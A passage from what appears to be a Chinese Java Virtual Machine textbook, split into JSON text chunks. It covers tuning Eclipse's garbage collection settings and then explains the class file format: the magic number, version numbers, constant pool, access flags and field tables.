[DefNew: 1914K->0K(3136K), 0.0009697 secs]2.338: [Tenured: 41779K->27347K(42056K), 0.0954341 secs] 42733K->27347K(45192K), 0.0965513 secs] 2.465: [GC 2.465: [DefNew: 2490K->0K(3456K), 0.0011044 secs]2.466: [Tenured: 46379K->27635K(46828K), 0.0956937 secs] 47621K->27635K(50284K), 0.0969918 secs] 括号中加粗的数字代表着老年代的容量，这组GC日志显示，10次Full GC发生的原因全部都是老年代空间耗尽，每发生一次Full GC都伴随着一次老年代空间扩容：1536KB→1664KB→2684KB→…→42056KB→46828KB。"},
    {"text": "10次GC以后老年代容量从起始的1536KB扩大到46828KB，当15秒后Eclipse启动完成时，老年代容量扩大到了103428KB，代码编译开始后，老年代容量到达顶峰473MB，整个Java堆到达最大容量512MB。"},
    {"text": "日志还显示有些时候内存回收状况很不理想，空间扩容成为获取可用内存的最主要手段，譬如这一句： Tenured: 25092K->24656K(25108K) , 0.1112429 secs 代表老年代当前容量为25108KB，内存使用到25092KB的时候发生了Full GC，花费0.11秒把内存使用降低到24656KB，只回收了不到500KB的内存，这次垃圾收集基本没有什么回收效果，仅仅做了扩容，扩容过程相比起回收过程可以看作是基本不需要花费时间的，所以说这0.11秒几乎是平白浪费了。"},
    {"text": "为了避免这些扩展所带来的性能浪费，我们可以把-Xms和-XX：PermSize参数值设置为-Xmx和-XX：MaxPermSize参数值一样，这样就强制虚拟机在启动的时候就把老年代和永久代的容量固定下来，避免运行时自动扩展 [3] 。"},
    {"text": "根据以上分析，优化计划确定为：把新生代容量提升到128MB，避免新生代频繁发生Minor GC； 把Java堆、永久代的容量分别固定为512MB和96MB [4] ，避免内存扩展。"},
    {"text": "代码清单5-10 内存调整后的Eclipse配置文件 -vm D:/_DevSpace/jdk1.6.0_21/bin/javaw.exe -startup plugins/org.eclipse.equinox.launcher_1.0.201.R35x_v20090715.jar --launcher.library plugins/org.eclipse.equinox.launcher.win32.win32.x86_1.0.200.v20090519 -product org.eclipse.epp.package.jee.product -showsplash org.eclipse.platform -vmargs -Dosgi.requiredJavaVersion=1.5 -Xverify:none -Xmx512m -Xms512m -Xmn128m -XX:PermSize=96m -XX:MaxPermSize=96m 现在这个配置之下，垃圾收集的次数已经大幅度降低，图5-9是Eclipse启动后一分钟的监视曲线，只发生了8次Minor GC和4次Full GC，总耗时为1.928秒。"},
    {"text": "图5-9 GC调整后的运行数据 这个结果已经算是基本正常，但是还存在一点瑕疵：从Old Gen的曲线上看，老年代直接固定在384MB，而内存使用量只有66MB，并且一直很平滑，完全不应该发生Full GC才对，那4次Full GC是怎么来的？"},
    {"text": "代码清单5-11 查询GC原因 C:\\Users\\IcyFenix>jps 9772 Jps 4068 org.eclipse.equinox.launcher_1.0.201.R35x_v20090715.jar C:\\Users\\IcyFenix>jstat -gccause 4068 S0 S1 E O P YGC YGCT FGC FGCT GCT LGCC GCC 0.00 0.00 1.00 14.81 39.29 6 0.422 20 5.992 6.414 System.gc() No GC 从LGCC（Last GC Cause）中看到原来是代码调用System.gc()显式触发的垃圾收集，在内存设置调整后，这种显式垃圾收集不符合我们的期望，因此在eclipse.ini中加入参数-XX：+DisableExplicitGC屏蔽掉System.gc()。"},
    {"text": "进行GC调优后Eclipse的启动时间下降非常明显，比整个垃圾收集时间降低的绝对值还大，现在启动只需要7秒多，如图5-10所示。 图5-10 Eclipse启动时间 [1] 严格来说，不包括正在执行native代码的用户线程，因为native代码一般不会改变Java对象的引用关系，所以没有必要挂起它们来等待垃圾回收。"},
    {"text": "[2] 可以通过以下几个参数要求虚拟机生成GC日志：-XX：+PrintGCTimeStamps（打印GC停顿时间）、-XX：+PrintGCDetails（打印GC详细信息）、-verbose：gc（打印GC信息，输出内容已被前一个参数包括，可以不写）、-Xloggc：gc.log。"},
    {"text": "[3] 需要说明一点，虚拟机启动的时候就会把参数中所设定的内存全部划为私有，即使扩容前有一部分内存不会被用户代码用到，这部分内存也不会交给其他进程使用。"},
    {"text": "[4] 512MB和96MB两个数值对于笔者的应用情况来说依然偏少，但由于笔者需要同时开VMware虚拟机工作，所以需要预留较多内存，读者在实际调优时不妨再设置大一些。"},
    {"text": "5.3.5 选择收集器降低延迟 现在Eclipse启动已经比较迅速了，但我们的调优实战还没有结束，毕竟Eclipse是拿来写程序用的，不是拿来测试启动速度的。我们不妨再在Eclipse中进行一个非常常用但又比较耗时的操作：代码编译。图5-11是当前配置下，Eclipse进行代码编译时的运行数据，从图中可以看到，新生代每次回收耗时约65毫秒，老年代每次回收耗时约725毫秒。对于用户来说，新生代垃圾收集的耗时也还好，65毫秒的停顿在使用中基本无法察觉到，而老年代每次垃圾收集要停顿接近1秒钟，虽然较长时间才会出现一次，但这样的停顿已经是可以被人感知了，会影响到体验。 再注意看一下编译期间的处理器资源使用状况，图5-12是Eclipse在编译期间的处理器使用率曲线图，整个编译过程中平均只使用了不到30%的处理器资源，垃圾收集的处理器使用率曲线更是几乎与坐标横轴紧贴在一起，这说明处理器资源还有很多可利用的余地。 图5-11 编译期间运行数据 图5-12 编译期间CPU曲线 列举垃圾收集的停顿时间、处理器资源富余的目的，都是为了给接下来替换掉客户端模式的虚拟机中默认的新生代、老年代串行收集器做个铺垫。 Eclipse应当算是与使用者交互非常频繁的应用程序，由于代码太多，笔者习惯在做全量编译或者清理动作的时候，使用“Run in Background”功能一边编译一边继续工作。回顾一下在第3章提到的几种收集器，很容易想到在JDK 6版本下提供的收集器里，CMS是最符合这类场景的选择。我们在eclipse.ini中再加入这两个参数，-XX：+UseConc-MarkSweepGC和-XX：+UseParNewGC（ParNew是使用CMS收集器后的默认新生代收集器，写上仅是为了配置更加清晰），要求虚拟机在新生代和老年代分别使用ParNew和CMS收集器进行垃圾回收。指定收集器之后，再次测试的结果如图5-13所示，与原来使用串行收集器对比，新生代停顿从每次65毫秒下降到了每次53毫秒，而老年代的停顿时间更是从725毫秒大幅下降到了36毫秒。 图5-13 指定ParNew和CMS收集器后的GC数据 当然，由于CMS的停顿时间只是整个收集过程中的一小部分，大部分收集行为是与用户程序并发进行的，所以并不是真的把垃圾收集时间从725毫秒直接缩短到36毫秒了。在收集器日志中可以看到CMS与程序并发的时间约为400毫秒，这样收集器的运行结果就比较令人满意了。 到这里为止，对于虚拟机内存的调优基本就结束了，这次实战可以看作一次简化的服务端调优过程，服务端调优有可能还会在更多方面，如数据库、资源池、磁盘I/O等，但对于虚拟机内存部分的优化，与这次实战中的思路没有什么太大差别。即使读者实际工作中不接触到服务器，根据自己工作环境做一些试验，总结几个参数让自己日常工作环境速度有较大幅度提升也是很能提升工作幸福感的。最终eclipse.ini的配置如代码清单5-12所示。 代码清单5-12 修改收集器配置后的Eclipse配置 -vm D:/_DevSpace/jdk1.6.0_21/bin/javaw.exe -startup plugins/org.eclipse.equinox.launcher_1.0.201.R35x_v20090715.jar --launcher.library plugins/org.eclipse.equinox.launcher.win32.win32.x86_1.0.200.v20090519 -product org.eclipse.epp.package.jee.product -showsplash org.eclipse.platform -vmargs -Dcom.sun.management.jmxremote -Dosgi.requiredJavaVersion=1.5 -Xverify:none -Xmx512m -Xms512m -Xmn128m -XX:PermSize=96m -XX:MaxPermSize=96m -XX:+DisableExplicitGC -Xnoclassgc -XX:+UseParNewGC -XX:+UseConcMarkSweepGC -XX:CMSInitiatingOccupancyFraction=85 5.4 本章小结 Java虚拟机的内存管理与垃圾收集是虚拟机结构体系中最重要的组成部分，对程序的性能和稳定有着非常大的影响。在本书的第2～5章里，笔者从理论知识、异常现象、代码、工具、案例、实战等几个方面对其进行讲解，希望读者能有所收获。 本书关于虚拟机内存管理部分到此就结束了，下一章我们将开始学习Class文件与虚拟机执行子系统方面的知识。 第三部分 虚拟机执行子系统 ·第6章 类文件结构 ·第7章 虚拟机类加载机制 ·第8章 虚拟机字节码执行引擎 ·第9章 类加载及执行子系统的案例与实战 第6章 类文件结构 代码编译的结果从本地机器码转变为字节码，是存储格式发展的一小步，却是编程语言发展的一大步。 6.1 概述 曾记得在第一堂计算机程序课上老师就讲过：“计算机只认识0和1，所以我们写的程序需要被编译器翻译成由0和1构成的二进制格式才能被计算机执行。”十多年过去了，今天的计算机仍然只能识别0和1，但由于最近十年内虚拟机以及大量建立在虚拟机之上的程序语言如雨后春笋般出现并蓬勃发展，把我们编写的程序编译成二进制本地机器码（Native Code）已不再是唯一的选择，越来越多的程序语言选择了与操作系统和机器指令集无关的、平台中立的格式作为程序编译后的存储格式。"},
    {"text": "6.2 无关性的基石 如果全世界所有计算机的指令集就只有x86一种，操作系统就只有Windows一种，那也许就不会有Java语言的出现。Java在刚刚诞生之时曾经提出过一个非常著名的宣传口号“一次编写，到处运行（Write Once，Run Anywhere）”，这句话充分表达了当时软件开发人员对冲破平台界限的渴求。在每时每刻都充满竞争的IT业界，不可能只有Wintel [1] 存在，我们也不希望出现只有Wintel而没有竞争者的世界，各种不同的硬件体系结构、各种不同的操作系统肯定将会长期并存发展。“与平台无关”的理想最终只有实现在操作系统以上的应用层：Oracle公司以及其他虚拟机发行商发布过许多可以运行在各种不同硬件平台和操作系统上的Java虚拟机，这些虚拟机都可以载入和执行同一种平台无关的字节码，从而实现了程序的“一次编写，到处运行”。 各种不同平台的Java虚拟机，以及所有平台都统一支持的程序存储格式——字节码（Byte Code）是构成平台无关性的基石，但本节标题中笔者刻意省略了“平台”二字，那是因为笔者注意到虚拟机的另外一种中立特性——语言无关性正在越来越被开发者所重视。直到今天，或许还有相当一部分程序员认为Java虚拟机执行Java程序是一件理所当然和天经地义的事情。但在Java技术发展之初，设计者们就曾经考虑过并实现了让其他语言运行在Java虚拟机之上的可能性，他们在发布规范文档的时候，也刻意把Java的规范拆分成了《Java语言规范》（The Java Language Specification）及《Java虚拟机规范》（The Java Virtual Machine Specification）两部分。并且早在1997年发表的第一版《Java虚拟机规范》中就曾经承诺过：“在未来，我们会对Java虚拟机进行适当的扩展，以便更好地支持其他语言运行于Java虚拟机之上”（In the future，we will consider bounded extensions to the Java virtual machine to provide better support for other languages）。Java虚拟机发展到今天，尤其是在2018年，基于HotSpot扩展而来的GraalVM公开之后，当年的虚拟机设计者们已经基本兑现了这个承诺。 时至今日，商业企业和开源机构已经在Java语言之外发展出一大批运行在Java虚拟机之上的语言，如Kotlin、Clojure、Groovy、JRuby、JPython、Scala等。相比起基数庞大的Java程序员群体，使用过这些语言的开发者可能还不是特别多，但是听说过的人肯定已经不少，随着时间的推移，谁能保证日后Java虚拟机在语言无关性上的优势不会赶上甚至超越它在平台无关性上的优势呢？ 实现语言无关性的基础仍然是虚拟机和字节码存储格式。Java虚拟机不与包括Java语言在内的任何程序语言绑定，它只与“Class文件”这种特定的二进制文件格式所关联，Class文件中包含了Java虚拟机指令集、符号表以及若干其他辅助信息。基于安全方面的考虑，《Java虚拟机规范》中要求在Class文件必须应用许多强制性的语法和结构化约束，但图灵完备的字节码格式，保证了任意一门功能性语言都可以表示为一个能被Java虚拟机所接受的有效的Class文件。作为一个通用的、与机器无关的执行平台，任何其他语言的实现者都可以将Java虚拟机作为他们语言的运行基础，以Class文件作为他们产品的交付媒介。例如，使用Java编译器可以把Java代码编译为存储字节码的Class文件，使用JRuby等其他语言的编译器一样可以把它们的源程序代码编译成Class文件。虚拟机丝毫不关心Class的来源是什么语言，它与程序语言之间的关系如图6-1所示。 Java语言中的各种语法、关键字、常量变量和运算符号的语义最终都会由多条字节码指令组合来表达，这决定了字节码指令所能提供的语言描述能力必须比Java语言本身更加强大才行。因此，有一些Java语言本身无法有效支持的语言特性并不代表在字节码中也无法有效表达出来，这为其他程序语言实现一些有别于Java的语言特性提供了发挥空间。 图6-1 Java虚拟机提供的语言无关性 [1] Wintel指微软的Windows与Intel的芯片相结合，曾经是业界最强大的联盟。"},
    {"text": "6.3 Class类文件的结构 解析Class文件的数据结构是本章的最主要内容。笔者曾经在前言中阐述过本书的写作风格：力求在保证逻辑准确的前提下，用尽量通俗的语言和案例去讲述虚拟机中与开发关系最为密切的内容。但是，对文件格式、结构方面的学习，有点类似于“读字典”，读者阅读本章时，大概会不可避免地感到比较枯燥，但这部分内容又是Java虚拟机的重要基础之一，是了解虚拟机的必经之路，如果想比较深入地学习虚拟机相关知识，这部分是无法回避的。 Java技术能够一直保持着非常良好的向后兼容性，Class文件结构的稳定功不可没，任何一门程序语言能够获得商业上的成功，都不可能去做升级版本后，旧版本编译的产品就不再能够运行这种事情。本章所讲述的关于Class文件结构的内容，绝大部分都是在第一版的《Java虚拟机规范》（1997年发布，对应于JDK 1.2时代的Java虚拟机）中就已经定义好的，内容虽然古老，但时至今日，Java发展经历了十余个大版本、无数小更新，那时定义的Class文件格式的各项细节几乎没有出现任何改变。尽管不同版本的《Java虚拟机规范》对Class文件格式进行了几次更新，但基本上只是在原有结构基础上新增内容、扩充功能，并未对已定义的内容做出修改。 注意 任何一个Class文件都对应着唯一的一个类或接口的定义信息 [1] ，但是反过来说，类或接口并不一定都得定义在文件里（譬如类或接口也可以动态生成，直接送入类加载器中）。本章中，笔者只是通俗地将任意一个有效的类或接口所应当满足的格式称为“Class文件格式”，实际上它完全不需要以磁盘文件的形式存在。 Class文件是一组以8个字节为基础单位的二进制流，各个数据项目严格按照顺序紧凑地排列在文件之中，中间没有添加任何分隔符，这使得整个Class文件中存储的内容几乎全部是程序运行的必要数据，没有空隙存在。当遇到需要占用8个字节以上空间的数据项时，则会按照高位在前 [2] 的方式分割成若干个8个字节进行存储。 根据《Java虚拟机规范》的规定，Class文件格式采用一种类似于C语言结构体的伪结构来存储数据，这种伪结构中只有两种数据类型：“无符号数”和“表”。后面的解析都要以这两种数据类型为基础，所以这里笔者必须先解释清楚这两个概念。 ·无符号数属于基本的数据类型，以u1、u2、u4、u8来分别代表1个字节、2个字节、4个字节和8个字节的无符号数，无符号数可以用来描述数字、索引引用、数量值或者按照UTF-8编码构成字符串值。 ·表是由多个无符号数或者其他表作为数据项构成的复合数据类型，为了便于区分，所有表的命名都习惯性地以“_info”结尾。表用于描述有层次关系的复合结构的数据，整个Class文件本质上也可以视作是一张表，这张表由表6-1所示的数据项按严格顺序排列构成。 表6-1 Class文件格式 无论是无符号数还是表，当需要描述同一类型但数量不定的多个数据时，经常会使用一个前置的容量计数器加若干个连续的数据项的形式，这时候称这一系列连续的某一类型的数据为某一类型的“集合”。 本节结束之前，笔者需要再强调一次，Class的结构不像XML等描述语言，由于它没有任何分隔符号，所以在表6-1中的数据项，无论是顺序还是数量，甚至于数据存储的字节序（Byte Ordering，Class文件中字节序为Big-Endian）这样的细节，都是被严格限定的，哪个字节代表什么含义，长度是多少，先后顺序如何，全部都不允许改变。接下来，我们将一起看看这个表中各个数据项的具体含义。 [1] 其实也有反例，譬如package-info.class、module-info.class这些文件就属于完全描述性的。 [2] 这种顺序称为“Big-Endian”，具体顺序是指按高位字节在地址最低位，最低字节在地址最高位来存储数据，它是SPARC、PowerPC等处理器的默认多字节存储顺序，而x86等处理器则是使用了相反的“Little-Endian”顺序来存储数据。"},
    {"text": "6.3.1 魔数与Class文件的版本 每个Class文件的头4个字节被称为魔数（Magic Number），它的唯一作用是确定这个文件是否为一个能被虚拟机接受的Class文件。不仅是Class文件，很多文件格式标准中都有使用魔数来进行身份识别的习惯，譬如图片格式，如GIF或者JPEG等在文件头中都存有魔数。使用魔数而不是扩展名来进行识别主要是基于安全考虑，因为文件扩展名可以随意改动。文件格式的制定者可以自由地选择魔数值，只要这个魔数值还没有被广泛采用过而且不会引起混淆。Class文件的魔数取得很有“浪漫气息”，值为0xCAFEBABE（咖啡宝贝？）。这个魔数值在Java还被称作“Oak”语言的时候（大约是1991年前后）就已经确定下来了。它还有一段很有趣的历史，据Java开发小组最初的关键成员Patrick Naughton所说：“我们一直在寻找一些好玩的、容易记忆的东西，选择0xCAFEBABE是因为它象征着著名咖啡品牌Peet’s Coffee深受欢迎的Baristas咖啡。” [1] 这个魔数似乎也预示着日后“Java”这个商标名称的出现。 紧接着魔数的4个字节存储的是Class文件的版本号：第5和第6个字节是次版本号（Minor Version），第7和第8个字节是主版本号（Major Version）。Java的版本号是从45开始的，JDK 1.1之后的每个JDK大版本发布主版本号向上加1（JDK 1.0～1.1使用了45.0～45.3的版本号），高版本的JDK能向下兼容以前版本的Class文件，但不能运行以后版本的Class文件，因为《Java虚拟机规范》在Class文件校验部分明确要求了即使文件格式并未发生任何变化，虚拟机也必须拒绝执行超过其版本号的Class文件。 例如，JDK 1.1能支持版本号为45.0～45.65535的Class文件，无法执行版本号为46.0以上的Class文件，而JDK 1.2则能支持45.0～46.65535的Class文件。目前最新的JDK版本为13，可生成的Class文件主版本号最大值为57.0。 为了讲解方便，笔者准备了一段最简单的Java代码（如代码清单6-1所示），本章后面的内容都将以这段程序使用JDK 6编译输出的Class文件为基础来进行讲解，建议读者不妨用较新版本的JDK跟随本章的实验流程自己动手测试一遍。 代码清单6-1 简单的Java代码 package org.fenixsoft.clazz; public class TestClass { private int m; public int inc() { return m + 1; } } 图6-2显示的是使用十六进制编辑器WinHex打开这个Class文件的结果，可以清楚地看见开头4个字节的十六进制表示是0xCAFEBABE，代表次版本号的第5个和第6个字节值为0x0000，而主版本号的值为0x0032，也即是十进制的50，该版本号说明这个是可以被JDK 6或以上版本虚拟机执行的Class文件。 图6-2 Java Class文件的结构 表6-2列出了从JDK 1.1到13之间，主流JDK版本编译器输出的默认的和可支持的Class文件版本号。 表6-2 Class文件版本号 注：从JDK 9开始，Javac编译器不再支持使用-source参数编译版本号小于1.5的源码。 关于次版本号，曾经在现代Java（即Java 2）出现前被短暂使用过，JDK 1.0.2支持的版本45.0～45.3（包括45.0～45.3）。JDK 1.1支持版本45.0～45.65535，从JDK 1.2以后，直到JDK 12之前次版本号均未使用，全部固定为零。而到了JDK 12时期，由于JDK提供的功能集已经非常庞大，有一些复杂的新特性需要以“公测”的形式放出，所以设计者重新启用了副版本号，将它用于标识“技术预览版”功能特性的支持。如果Class文件中使用了该版本JDK尚未列入正式特性清单中的预览功能，则必须把次版本号标识为65535，以便Java虚拟机在加载类文件时能够区分出来。 [1] 根据Java之父James Gosling的解释，当时还定义了“CAFEDEAD”用作另一种对象持久化文件格式的魔数，只是后来该格式被废弃掉了，所以并未流传开来。"},
    {"text": "6.3.2 常量池 紧接着主、次版本号之后的是常量池入口，常量池可以比喻为Class文件里的资源仓库，它是Class文件结构中与其他项目关联最多的数据，通常也是占用Class文件空间最大的数据项目之一，另外，它还是在Class文件中第一个出现的表类型数据项目。"},
    {"text": "由于常量池中常量的数量是不固定的，所以在常量池的入口需要放置一项u2类型的数据，代表常量池容量计数值（constant_pool_count）。 与Java中语言习惯不同，这个容量计数是从1而不是0开始的，如图6-3所示，常量池容量（偏移地址：0x00000008）为十六进制数0x0016，即十进制的22，这就代表常量池中有21项常量，索引值范围为1～21。"},
    {"text": "在Class文件格式规范制定之时，设计者将第0项常量空出来是有特殊考虑的，这样做的目的在于，如果后面某些指向常量池的索引值的数据在特定情况下需要表达“不引用任何一个常量池项目”的含义，可以把索引值设置为0来表示。 Class文件结构中只有常量池的容量计数是从1开始，对于其他集合类型，包括接口索引集合、字段表集合、方法表集合等的容量计数都与一般习惯相同，是从0开始。"},
    {"text": "而符号引用则属于编译原理方面的概念，主要包括下面几类常量： ·被模块导出或者开放的包（Package） ·类和接口的全限定名（Fully Qualified Name） ·字段的名称和描述符（Descriptor） ·方法的名称和描述符 ·方法句柄和方法类型（Method Handle、Method Type、Invoke Dynamic） ·动态调用点和动态常量（Dynamically-Computed Call Site、Dynamically-Computed Constant） Java代码在进行Javac编译的时候，并不像C和C++那样有“连接”这一步骤，而是在虚拟机加载Class文件的时候进行动态连接（具体见第7章）。 也就是说，在Class文件中不会保存各个方法、字段最终在内存中的布局信息，这些字段、方法的符号引用不经过虚拟机在运行期转换的话是无法得到真正的内存入口地址，也就无法直接被虚拟机使用的。 当虚拟机做类加载时，将会从常量池获得对应的符号引用，再在类创建时或运行时解析、翻译到具体的内存地址之中。 关于类的创建和动态连接的内容，在下一章介绍虚拟机类加载过程时再详细讲解。"},
    {"text": "常量池中每一项常量都是一个表，最初常量表中共有11种结构各不相同的表结构数据，后来为了更好地支持动态语言调用，额外增加了4种动态语言相关的常量 [1] ，为了支持Java模块化系统（Jigsaw），又加入了CONSTANT_Module_info和CONSTANT_Package_info两个常量，所以截至JDK 13，常量表中分别有17种不同类型的常量。"},
    {"text": "这17类表都有一个共同的特点，表结构起始的第一位是个u1类型的标志位（tag，取值见表6-3中标志列），代表着当前常量属于哪种常量类型。"},
    {"text": "表6-3 常量池的项目类型 之所以说常量池是最烦琐的数据，是因为这17种常量类型各自有着完全独立的数据结构，两两之间并没有什么共性和联系，因此只能逐项进行讲解。"},
    {"text": "请读者回头看看图6-3中常量池的第一项常量，它的标志位（偏移地址：0x0000000A）是0x07，查表6-3的标志列可知这个常量属于CONSTANT_Class_info类型，此类型的常量代表一个类或者接口的符号引用。"},
    {"text": "name_index是常量池的索引值，它指向常量池中一个CONSTANT_Utf8_info类型常量，此常量代表了这个类（或者接口）的全限定名，本例中的name_index值（偏移地址：0x0000000B）为0x0002，也就是指向了常量池中的第二项常量。"},
    {"text": "继续从图6-3中查找第二项常量，它的标志位（地址：0x0000000D）是0x01，查表6-3可知确实是一个CONSTANT_Utf8_info类型的常量。"},
    {"text": "CONSTANT_Utf8_info类型的结构如表6-5所示。 表6-5 CONSTANT_Utf8_info型常量的结构 length值说明了这个UTF-8编码的字符串长度是多少字节，它后面紧跟着的长度为length字节的连续数据是一个使用UTF-8缩略编码表示的字符串。"},
    {"text": "UTF-8缩略编码与普通UTF-8编码的区别是：从'\\u0001'到'\\u007f'之间的字符（相当于1～127的ASCII码）的缩略编码使用一个字节表示，从'\\u0080'到'\\u07ff'之间的所有字符的缩略编码用两个字节表示，从'\\u0800'开始到'\\uffff'之间的所有字符的缩略编码就按照普通UTF-8编码规则使用三个字节表示。"},
    {"text": "顺便提一下，由于Class文件中方法、字段等都需要引用CONSTANT_Utf8_info型常量来描述名称，所以CONSTANT_Utf8_info型常量的最大长度也就是Java中方法、字段名的最大长度。"},
    {"text": "本例中这个字符串的length值（偏移地址：0x0000000E）为0x001D，也就是长29个字节，往后29个字节正好都在1～127的ASCII码范围以内，内容为“org/fenixsoft/clazz/TestClass”，有兴趣的读者可以自己逐个字节换算一下，换算结果如图6-4中选中的部分所示。"},
    {"text": "图6-4 常量池UTF-8字符串结构 到此为止，我们仅仅分析了TestClass.class常量池中21个常量中的两个，还未提到的其余19个常量都可以通过类似的方法逐一计算出来，为了避免计算过程占用过多的版面篇幅，后续的19个常量的计算过程就不手工去做了，而借助计算机软件来帮忙完成。"},
    {"text": "笔者曾经提到过Class文件中还有很多数据项都要引用常量池中的常量，建议读者不妨在本页做个记号，因为代码清单6-2中的内容在后续的讲解之中会频繁使用到。"},
    {"text": "代码清单6-2 使用javap命令输出常量表 C:\\>javap -verbose TestClass Compiled from \"TestClass.java\" public class org.fenixsoft.clazz.TestClass extends java.lang.Object SourceFile: \"TestClass.java\" minor version: 0 major version: 50 Constant pool: const #1 = class #2; // org/fenixsoft/clazz/TestClass const #2 = Asciz org/fenixsoft/clazz/TestClass; const #3 = class #4; // java/lang/Object const #4 = Asciz java/lang/Object; const #5 = Asciz m; const #6 = Asciz I; const #7 = Asciz <init>; const #8 = Asciz ()V; const #9 = Asciz Code; const #10 = Method #3.#11; // java/lang/Object.\"<init>\":()V const #11 = NameAndType #7:#8;// \"<init>\":()V const #12 = Asciz LineNumberTable; const #13 = Asciz LocalVariableTable; const #14 = Asciz this; const #15 = Asciz Lorg/fenixsoft/clazz/TestClass;; const #16 = Asciz inc; const #17 = Asciz ()I; const #18 = Field #1.#19; // org/fenixsoft/clazz/TestClass.m:I const #19 = NameAndType #5:#6; // m:I const #20 = Asciz SourceFile; const #21 = Asciz TestClass.java; 从代码清单6-2中可以看到，计算机已经帮我们把整个常量池的21项常量都计算了出来，并且第1、2项常量的计算结果与我们手工计算的结果完全一致。"},
    {"text": "仔细看一下会发现，其中有些常量似乎从来没有在代码中出现过，如“I”“V”“<init>”“LineNumberTable”“LocalVariableTable”等，这些看起来在源代码中不存在的常量是哪里来的？"},
    {"text": "这部分常量的确不来源于Java源代码，它们都是编译器自动生成的，会被后面即将讲到的字段表（field_info）、方法表（method_info）、属性表（attribute_info）所引用，它们将会被用来描述一些不方便使用“固定字节”进行表达的内容，譬如描述方法的返回值是什么，有几个参数，每个参数的类型是什么。 因为Java中的“类”是无穷无尽的，无法通过简单的无符号数来描述一个方法用到了什么类，因此在描述方法的这些信息时，需要引用常量表中的符号引用进行表达。"},
    {"text": "表6-6 常量池中的17种数据类型的结构总表 [1] JDK 7时增加了前三种：CONSTANT_MethodHandle_info、CONSTANT_MethodType_info和CONSTANT_InvokeDynamic_info。 出于性能和易用性的考虑（JDK 7设计时已经考虑到，预留了17个常量标志位），在JDK 11中又增加了第四种常量CONSTANT_Dynamic_info。"},
    {"text": "6.3.3 访问标志 在常量池结束之后，紧接着的2个字节代表访问标志（access_flags），这个标志用于识别一些类或者接口层次的访问信息，包括：这个Class是类还是接口；是否定义为public类型；是否定义为abstract类型；如果是类的话，是否被声明为final；等等。具体的标志位以及标志的含义见表6-7。 表6-7 访问标志 access_flags中一共有16个标志位可以使用，当前只定义了其中9个 [1] ，没有使用到的标志位要求一律为零。以代码清单6-1中的代码为例，TestClass是一个普通Java类，不是接口、枚举、注解或者模块，被public关键字修饰但没有被声明为final和abstract，并且它使用了JDK 1.2之后的编译器进行编译，因此它的ACC_PUBLIC、ACC_SUPER标志应当为真，而ACC_FINAL、ACC_INTERFACE、ACC_ABSTRACT、ACC_SYNTHETIC、ACC_ANNOTATION、ACC_ENUM、ACC_MODULE这七个标志应当为假，因此它的access_flags的值应为：0x0001|0x0020=0x0021。从图6-5中看到，access_flags标志（偏移地址：0x000000EF）的确为0x0021。 图6-5 access_flags标志 [1] 在原始的《Java虚拟机规范》初版中，只定义了开头5种标志。JDK 5中增加了后续3种。这些标志为在JSR-202规范之中声明，是对《Java虚拟机规范》第2版的补充。JDK 9发布之后，增加了第9种。 6.3.4 类索引、父类索引与接口索引集合 类索引（this_class）和父类索引（super_class）都是一个u2类型的数据，而接口索引集合（interfaces）是一组u2类型的数据的集合，Class文件中由这三项数据来确定该类型的继承关系。类索引用于确定这个类的全限定名，父类索引用于确定这个类的父类的全限定名。由于Java语言不允许多重继承，所以父类索引只有一个，除了java.lang.Object之外，所有的Java类都有父类，因此除了java.lang.Object外，所有Java类的父类索引都不为0。接口索引集合就用来描述这个类实现了哪些接口，这些被实现的接口将按implements关键字（如果这个Class文件表示的是一个接口，则应当是extends关键字）后的接口顺序从左到右排列在接口索引集合中。 类索引、父类索引和接口索引集合都按顺序排列在访问标志之后，类索引和父类索引用两个u2类型的索引值表示，它们各自指向一个类型为CONSTANT_Class_info的类描述符常量，通过CONSTANT_Class_info类型的常量中的索引值可以找到定义在CONSTANT_Utf8_info类型的常量中的全限定名字符串。图6-6演示了代码清单6-1中代码的类索引查找过程。 图6-6 类索引查找全限定名的过程 对于接口索引集合，入口的第一项u2类型的数据为接口计数器（interfaces_count），表示索引表的容量。如果该类没有实现任何接口，则该计数器值为0，后面接口的索引表不再占用任何字节。代码清单6-1中的代码的类索引、父类索引与接口表索引的内容如图6-7所示。 图6-7 类索引、父类索引、接口索引集合 从偏移地址0x000000F1开始的3个u2类型的值分别为0x0001、0x0003、0x0000，也就是类索引为1，父类索引为3，接口索引集合大小为0。查询前面代码清单6-2中javap命令计算出来的常量池，找出对应的类和父类的常量，结果如代码清单6-3所示。 代码清单6-3 部分常量池内容 const #1 = class #2; // org/fenixsoft/clazz/TestClass const #2 = Asciz org/fenixsoft/clazz/TestClass; const #3 = class #4; // java/lang/Object const #4 = Asciz java/lang/Object;"},
    {"text": "6.3.5 字段表集合 字段表（field_info）用于描述接口或者类中声明的变量。Java语言中的“字段”（Field）包括类级变量以及实例级变量，但不包括在方法内部声明的局部变量。读者可以回忆一下在Java语言中描述一个字段可以包含哪些信息。字段可以包括的修饰符有字段的作用域（public、private、protected修饰符）、是实例变量还是类变量（static修饰符）、可变性（final）、并发可见性（volatile修饰符，是否强制从主内存读写）、可否被序列化（transient修饰符）、字段数据类型（基本类型、对象、数组）、字段名称。上述这些信息中，各个修饰符都是布尔值，要么有某个修饰符，要么没有，很适合使用标志位来表示。而字段叫做什么名字、字段被定义为什么数据类型，这些都是无法固定的，只能引用常量池中的常量来描述。表6-8中列出了字段表的最终格式。 表6-8 字段表结构 字段修饰符放在access_flags项目中，它与类中的access_flags项目是非常类似的，都是一个u2的数据类型，其中可以设置的标志位和含义如表6-9所示。 表6-9 字段访问标志 很明显，由于语法规则的约束，ACC_PUBLIC、ACC_PRIVATE、ACC_PROTECTED三个标志最多只能选择其一，ACC_FINAL、ACC_VOLATILE不能同时选择。接口之中的字段必须有ACC_PUBLIC、ACC_STATIC、ACC_FINAL标志，这些都是由Java本身的语言规则所导致的。 跟随access_flags标志的是两项索引值：name_index和descriptor_index。它们都是对常量池项的引用，分别代表着字段的简单名称以及字段和方法的描述符。现在需要解释一下“简单名称”“描述符”以及前面出现过多次的“全限定名”这三种特殊字符串的概念。 全限定名和简单名称很好理解，以代码清单6-1中的代码为例，“org/fenixsoft/clazz/TestClass”是这个类的全限定名，仅仅是把类全名中的“.”替换成了“/”而已，为了使连续的多个全限定名之间不产生混淆，在使用时最后一般会加入一个“；”号表示全限定名结束。简单名称则就是指没有类型和参数修饰的方法或者字段名称，这个类中的inc()方法和m字段的简单名称分别就是“inc”和“m”。 